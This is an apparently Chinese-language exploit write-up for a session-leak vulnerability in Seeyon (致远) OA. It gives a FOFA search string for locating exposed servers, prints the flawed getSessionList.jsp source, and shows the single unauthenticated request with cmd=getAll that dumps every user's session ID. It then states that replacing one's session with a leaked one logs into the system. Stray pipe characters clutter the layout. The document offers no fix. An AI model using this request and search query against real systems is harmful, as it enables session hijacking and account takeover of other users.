# 致远OA getSessionList.jsp Session泄漏漏洞
|
|||
|
|
|
|||
|
|
## 洞描述
|
|||
|
|
|
|||
|
|
通过使用存在漏洞的请求时，会回显部分用户的Session值，导致出现任意登录的情况
|
|||
|
|
|
|||
|
|
## 影响版本
|
|||
|
|
|
|||
|
|
未知
|
|||
|
|
|
|||
|
|
## FOFA
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="致远互联-OA"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
出现漏洞的源码
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
<%@ page contentType="text/html;charset=GBK"%>
|
|||
|
|
<%@ page session= "false" %>
|
|||
|
|
<%@ page import="net.btdz.oa.ext.https.*"%>
|
|||
|
|
<%
|
|||
|
|
String reqType = request.getParameter("cmd");
|
|||
|
|
String outXML = "";
|
|||
|
|
boolean allowHttps = true;
|
|||
|
|
if("allowHttps".equalsIgnoreCase(reqType)){
|
|||
|
|
//add code to judge whether it allow https or not
|
|||
|
|
allowHttps = FetchSessionList.checkHttps();
|
|||
|
|
if (allowHttps) response.setHeader("AllowHttps","1");
|
|||
|
|
}
|
|||
|
|
if("getAll".equalsIgnoreCase(reqType)){
|
|||
|
|
outXML = FetchSessionList.getXMLAll();
|
|||
|
|
}
|
|||
|
|
else if("getSingle".equalsIgnoreCase(reqType)){
|
|||
|
|
String sessionId = request.getParameter("ssid");
|
|||
|
|
if(sessionId != null){
|
|||
|
|
outXML = FetchSessionList.getXMLBySessionId(sessionId);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
else{
|
|||
|
|
outXML += "<?xml version=\"1.0\" encoding=\"GB2312\"?>\r\n";
|
|||
|
|
outXML += "<SessionList>\r\n";
|
|||
|
|
// outXML += "<Session>\r\n";
|
|||
|
|
// outXML += "</Session>\r\n";
|
|||
|
|
outXML += "</SessionList>\r\n";
|
|||
|
|
}
|
|||
|
|
out.println(outXML);
|
|||
|
|
%>
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
从上面的代码可知，当cmd参数为getAll时，便可获取到所有用户的SessionID ,请求
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/yyoa/ext/https/getSessionList.jsp?cmd=getAll
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
回显Session则存在漏洞
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
通过替换 Session即可登陆系统
